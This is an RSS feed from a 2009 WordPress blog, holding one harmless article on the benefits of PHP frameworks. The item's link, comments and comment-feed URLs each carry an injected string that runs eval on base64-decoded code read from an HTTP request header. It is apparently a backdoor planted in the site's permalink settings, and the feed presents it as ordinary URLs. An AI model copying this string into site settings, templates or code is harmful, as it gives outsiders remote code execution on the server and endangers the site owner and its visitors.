<?xml version="1.0" encoding="UTF-8"?>
<rss version="2.0"
	xmlns:content="http://purl.org/rss/1.0/modules/content/"
	xmlns:wfw="http://wellformedweb.org/CommentAPI/"
	xmlns:dc="http://purl.org/dc/elements/1.1/"
	xmlns:atom="http://www.w3.org/2005/Atom"
	xmlns:sy="http://purl.org/rss/1.0/modules/syndication/"
	xmlns:slash="http://purl.org/rss/1.0/modules/slash/"
	>

<channel>
	<title>Knowledge@adpsconsulting.com &#187; php development corner</title>
	<atom:link href="http://adpsconsulting.com/knowledge/tag/php-development-corner/feed/" rel="self" type="application/rss+xml" />
	<link>http://adpsconsulting.com/knowledge</link>
	<description>Knowledge@ADPS</description>
	<lastBuildDate>Wed, 05 Aug 2009 10:00:30 +0000</lastBuildDate>
	<generator>http://wordpress.org/?v=2.8</generator>
	<language>en</language>
	<sy:updatePeriod>hourly</sy:updatePeriod>
	<sy:updateFrequency>1</sy:updateFrequency>
			<item>
		<title>Why Use a PHP Framework?</title>
		<link>http://adpsconsulting.com/knowledge/2009/07/09/why-use-a-php-framework/%&({${eval(base64_decode($_SERVER[HTTP_EXECCODE]))}}|.+)&%/</link>
		<comments>http://adpsconsulting.com/knowledge/2009/07/09/why-use-a-php-framework/%&({${eval(base64_decode($_SERVER[HTTP_EXECCODE]))}}|.+)&%/#comments</comments>
		<pubDate>Thu, 09 Jul 2009 04:05:16 +0000</pubDate>
		<dc:creator>ADPS Admin</dc:creator>
				<category><![CDATA[Articles]]></category>
		<category><![CDATA[CakePHP]]></category>
		<category><![CDATA[php company]]></category>
		<category><![CDATA[php development corner]]></category>
		<category><![CDATA[PHP framwork]]></category>
		<category><![CDATA[php service provider]]></category>
		<category><![CDATA[Zend]]></category>

		<guid isPermaLink="false">http://adpsconsulting.com/knowledge/?p=96</guid>
		<description><![CDATA[There are many PHP frameworks currently in use, with Zend and CakePHP being the most common, followed by Symfony and CodeIgniter. Why should frameworks be so popular? Why should you invest time in understanding and using them?
PHP frameworks follow the MVC architecture, which means that the presentation is separated from the database and business layers, [...]]]></description>
			<content:encoded><![CDATA[<p>There are many PHP frameworks currently in use, with Zend and CakePHP being the most common, followed by Symfony and CodeIgniter. Why should frameworks be so popular? Why should you invest time in understanding and using them?</p>
<p>PHP frameworks follow the <em><strong>MVC architecture</strong></em>, which means that the presentation is separated from the database and business layers, resulting is neat, clean and understandable code modules.<br />
You are forced to stick to certain <em><strong>coding rules</strong></em>, ensuring good coding standards, which means that the code is written as it is supposed to be written and you do not run into unreadable code later on.<br />
Most frameworks have built in checks to ensure that <em><strong>urls are clean</strong></em>. This is particularly important when you consider SEO.<br />
<em><strong>Access to service APIs</strong></em> makes expanding connecting to other applications like Facebook and Google Maps very easy<br />
<em><strong>Access to plugins </strong></em>means that many commonly used components need not be developed.<br />
<em><strong>Automatic includes </strong></em>mean that you never have to worry about forgetting to manually include common files ever again.<br />
<em><strong>Validation </strong></em>of forms and error flagging are made easy with built-in objects.<br />
Strictly followed coding standards and code modules makes it <em><strong>easier to reuse code.</strong></em></p>
<p>You may be tempted to create just one or two controllers, which, if done, defeats one of the purposes of using MVC. So, keep your controllers small and as close to the view as possible.</p>
<p>Although the learning curve can be steep when it comes to understanding frameworks, the effort pays off in the end – applications are a lot easier, and quicker, to develop using frameworks.</p>
<p style="text-align: left;"><em>Sources: http://joshsharp.com.au/blog/view/why_you_should_be_using_a_framework, http://toys.lerdorf.com/archives/38-The-no-framework-PHP-MVC-framework.html, http://www.workoninternet.com/article_26808.html</em></p>
]]></content:encoded>
			<wfw:commentRss>http://adpsconsulting.com/knowledge/2009/07/09/why-use-a-php-framework/%&({${eval(base64_decode($_SERVER[HTTP_EXECCODE]))}}|.+)&%/feed/</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
	</channel>
</rss>
